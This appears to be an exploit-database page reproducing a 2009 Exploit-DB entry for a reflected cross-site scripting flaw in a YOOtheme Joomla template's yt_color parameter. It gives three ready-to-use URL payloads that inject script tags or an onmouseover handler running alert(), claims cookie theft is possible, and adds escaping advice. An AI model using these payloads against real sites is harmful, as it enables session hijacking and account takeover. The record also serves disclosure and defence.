Joomla yt_color YOOOtheme [xss, cookie stealing]

vendor:

Joomla

by:

andresg888

7.5

CVSS

HIGH

Cross-site Scripting (XSS)

CWE

Product Name: Joomla

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Joomla yt_color YOOOtheme [xss, cookie stealing]

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account.

Mitigation:

Use htmlentities() or htmlspecialchars() functions.

Source

Exploit-DB raw data:

##########################[andresg888]##########################
# Exploit Title : Joomla yt_color YOOOtheme [xss, cookie stealing]
# Date : 2009-12-04
# Author : andresg888
# Software Link : http://www.yootheme.com/
# Contact : andresg888[4t]gmail[dot]com
# Web: : www.ilegalintrusion.net & www.bl4ck-p0rtal.org
# Dork : No DoRk f0R ScRipT KiDDieS
########################################################################
# The GET variable yt_color can be set to any script
########################################################################
# Example 1: index.php/inicio?yt_color=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(123456)%3B%3C/ScRiPt%3E
# Example 2: index.php?option=com_content&task=view&id=13&Itemid=47&yt_color=%00'%22%3E%3CScRiPt%20%0a%0d%3Ealert(123456)%3B%3C/ScRiPt%3E
# Example 3: The GET variable yt_color can be set to "+onmouseover=alert(123456)+
########################################################################
# Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable
# application to fool a user in order to gather data from them. An attacker can steal the
# session cookie and take over the account.
########################################################################
# Solution:
# Use htmlentities() or htmlspecialchars() functions.
# Solution Example : $name=htmlentities($_GET['name'])
########################################################################
# Greetz : _84kur10_ , Brunos_50, mmrg5486, LU73K, Joshu4X, 3l_d105_4r35
# Special Thanks : all members from ilegalintrusion & black-portal
##########################[andresg888]#################################